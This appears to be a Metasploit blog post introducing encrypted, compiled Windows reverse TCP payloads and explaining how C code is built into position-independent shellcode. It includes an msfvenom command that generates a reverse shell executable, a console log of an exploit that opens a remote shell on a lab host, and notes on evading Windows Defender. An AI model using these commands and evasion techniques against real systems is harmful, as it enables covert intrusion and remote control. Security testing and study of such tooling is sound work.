Last updated at Mon, 22 Jan 2024 21:20:56 GMT

The Metasploit team is happy to introduce encrypted, compiled payloads in MSF 5. The new payload type communicates over an encrypted connection using the ChaCha20 cipher, which adds a stealth layer and prevents would-be snoopers from easily analyzing the traffic between the payload and Framework. Along with the encryption, Metasploit can generate a random authentication key every time the payload is used, even rejecting unauthenticated connections, a feature it shares with earlier work on pingback payloads. To make all of this functionality possible, we’ve also added a library that utilizes the Mingw-w64 toolchain on the user’s system to compile the new payloads on the fly from generated C code. Employing a compiler enables quicker, more accessible, and more easily modifiable development of payloads compared to assembly language.

Metasploit’s initial encrypted payloads were developed with extensibility in mind; further work, for example, might include utilizing code randomization and obfuscation functionality to further improve stealth capabilities in the future. This release includes four new reverse TCP payloads for Windows x86 and x64 architectures (two stageless and two staged payloads).

Traditional Metasploit command shell payloads typically exist as pre-written assembly stubs that, upon generation, are concatenated based on user- and exploit-provided options and then assembled by Metasm. These new payloads leverage techniques introduced by Matt Graeber and Nick Harbour, some atypical Mingw-w64 compiler options, and a new library to start from a C program and end with position-independent shellcode.

Going from C to position-independent shellcode has a few prerequisites:

  • We'll need to be able to resolve Windows functions without the liberty of being able to directly call GetProcAddress().
  • We have to ensure that there are no extraneous libraries linked with our code.
  • We must be able to store strings on the stack.
  • And finally, our main function needs to be the first function to execute in our shellcode.

Resolving WinAPI Functions

Despite being written in C, the payloads cannot directly call functions from the Windows API. Functions we need exist in DLLs, and we can't be sure that the required DLLs are loaded in the context of the process we're currently in. Even if the required DLLs are loaded, we don't know the address of each function we're wanting to execute. These particular payloads are arguably simple in that they only require loading one library: Winsock. All of the other WinAPI functions used in these payloads come from kernel32.dll, which is all but guaranteed to be loaded by default.

Because we need to be able to load DLLs for use, we need to first find the address of the LoadLibrary() function call. Thanks to a function written by Matt Graeber, we can find that address using a hash of the name of the library and function being searched for. The function, GetProcAddressWithHash() begins by saving the address of what is known as the Process Environment Block, or PEB. There exists a PEB for every process on Windows, and it resides at a fixed address. Within the PEB resides a lot of useful data about the process, including currently-loaded DLLs. Through the PEB, the base address of any loaded DLL, kernel32.dll for example, can be retrieved and used as a way to access the DLL's Export Address Table, or EAT. The EAT is searched, comparing a hash that's passed to the function to each found function that is also hashed. If the hashes match, the address of the function is returned to the user. Because GetProcAddressWithHash() returns a function pointer, each WinAPI function signature needs to be defined.

Preventing the inclusion of extraneous code

By default, Mingw-w64 likes to inject code from its own libraries to aid with program initialization and debugging. The addition of this extra code results in a much larger executable, and in code that is not position-independent. At the compiler level, we can simply use the -nostdlib switch to remove the additional code. Similar behavior happens when the main function is declared in the source. To get around this issue, we can use something similar to Graeber's technique: Forgo using main() and define your own entrypoint.

 void ExecutePayload()
 {
  	...
 }

Using strings

Usage of strings quickly becomes problematic when writing C code that's intended to be position-independent. When compiling, the compiler will likely place any strings defined within a section other than the .text section, such as the .rdata section of the PE file. When it's time for the shellcode to execute, those strings will not be accessible, and the payload will fail. Credits go to Nick Harbour for finding a way around this issue. By declaring strings as byte arrays, the strings will be accessible on the stack. Unfortunately, this method doesn't completely solve the problem. For Mingw-w64, the compiler would still place strings longer than 8 bytes in a separate section. Using the -O2 compiler optimization flag in addition to using byte arrays seems to effectively solve the issue. This optimization flag also has the added benefit of decreasing the size of the final payload.

Function ordering

Since ExecutePayload() is treated like it is main(), it needs to be the first function that appears in the generated shellcode. Achieving this requires some work from both the compiler and the linker. On the compiler side, the easiest way to ensure ExecutePayload() is first is by using the -ffunction-sections flag. This flag simply takes each function from the source and separates it into its own section within the .text section of the final PE file.

Using objdump against the compiled payload generated with the advanced option StripSymbols set to false will show you all of the functions you will find in the original source code:

metasploit-framework space$ i686-w64-mingw32-objdump -D -Mintel-mnemonic reverse_stageless.exe

reverse_stageless.exe:     file format pei-i386


Disassembly of section .text:

00000000 <_ExecutePayload>:
 ...
000001c0 <_ExitProc>:
 ...
00000200 <_GetProcAddressWithHash>:
 ...
000002f0 <_chacha_data>:
 ...
00000870 <_communicate>:
 ...
00000c00 <_conn_info_setup>:
 ...
00000ce0 <_get_new_key>:
 ...
00000d60 <_init_process>:
 ...
00000f70 <_init_winsock>:
 ...

In this case, compiling with the -ffunction-sections flag results in ExecutePayload() being first, but that's not a guarantee in many cases. Providing a linker script to the linker ensures that we always have the correct function first in the order. In the case of x86 payloads, we tell the linker that ExecutePayload() should be first, like so:

SECTIONS
{
	.text :
	{
		*(.text.ExecutePayload)
	}
}

In the case of x64 payloads, we need to ensure that the stack is properly aligned, so we place the function AlignRSP() before ExecutePayload().

SECTIONS
{
	.text :
	{
    		*(.text.AlignRSP)
		*(.text.ExecutePayload)
	}
}

To utilize the linker script, the -T flag and the name of the linker script is passed to the linker via the -Wl switch.

Generating a payload

All of the extra compiler and linker options are completely handled by the new library in lib/metasploit/framework/mingw.rb, so generating a compiled payload is as easy as generating any other payload:


metasploit-framework space$ ./msfvenom -p windows/encrypted_reverse_tcp LHOST=192.168.37.1 LPORT=4444 -f exe -o payload.exe
[-] Please ensure payload key and nonce match when setting up handler: p4RYUm935aEE6KBMrTRieLJ3y2US6h1z - RE4yseYvVbTP
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 4064 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Using a payload

Choosing the right payload depends on the architecture of the target and the size constraints of the exploit being used. If space permits, using the stageless compiled payloads will give better results in terms of stealth. The staged payloads allocate an RWX memory region that will likely get flagged by AV.


msf5 > use exploit/windows/http/file_sharing_wizard_seh 
msf5 exploit(windows/http/file_sharing_wizard_seh) > set rhosts 192.168.37.137
rhosts => 192.168.37.137
msf5 exploit(windows/http/file_sharing_wizard_seh) > set payload windows/encrypted_reverse_tcp
payload => windows/encrypted_reverse_tcp
msf5 exploit(windows/http/file_sharing_wizard_seh) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf5 exploit(windows/http/file_sharing_wizard_seh) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Sending payload to target
[*] Encrypted reverse shell session 1 opened (192.168.37.1:4444 -> 192.168.37.137:49221) at 2019-10-25 11:41:01 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\space\Desktop>whoami
whoami
win-0hva33dq2gi\space

Usage Notes

Compiler installation

Having a compiler is essential to being able to use these new payloads. Most importantly, you'll need Mingw-w64, as these payloads were developed specifically to work with the compilers included with Mingw-64. These compilers are available for Windows, Linux, and macOS. With Debian, Ubuntu, Kali, or Mac Homebrew systems, the package to install is called mingw-w64. Note: Be sure the compilers are installed before you start Metasploit, since it detects their presence on startup.

Is your database running?

Having a functional database ensures that the usage of these payloads is a seamless experience. Because these payloads leverage encryption, Framework needs a way to keep track of the key and nonce initially used. Upon generation, a random key, nonce, and UUID are embedded in the payload, and are then saved to the database. Once code execution occurs on the target, the payload will connect back to Framework's listener and send the UUID associated with the payload. When Framework's listener retrieves the UUID from the connection, it will search the database for the UUID and use its associated key and nonce to communicate with the target. If there is no database connected, Framework will fall back to using the datastore options for the key and nonce, ChachaKey and ChachaNonce, respectively. That means that if you generate one of these payloads with msfvenom and are not using a database, you will need to set the key and nonce provided upon successful generation of the payload.

60% of the time, it evades every time

At the time of this writing, the stageless payload can evade Windows Defender...sometimes. With the introduction of a randomized encryption key came Windows Defender’s unwelcome notifications. The payload is easy to modify however, which makes modifying its signature easy to do.

Possible future work

This initial release opens the door for a great set of features for the future. Possibilities include integrating existing C randomization utilities in Framework with the new payloads to aid in AV evasion, developing further AV evasion utilities, and more payloads! Writing in C instead of assembly makes payload development more accessible to the broader community; we hope it makes payload dev more fun, too.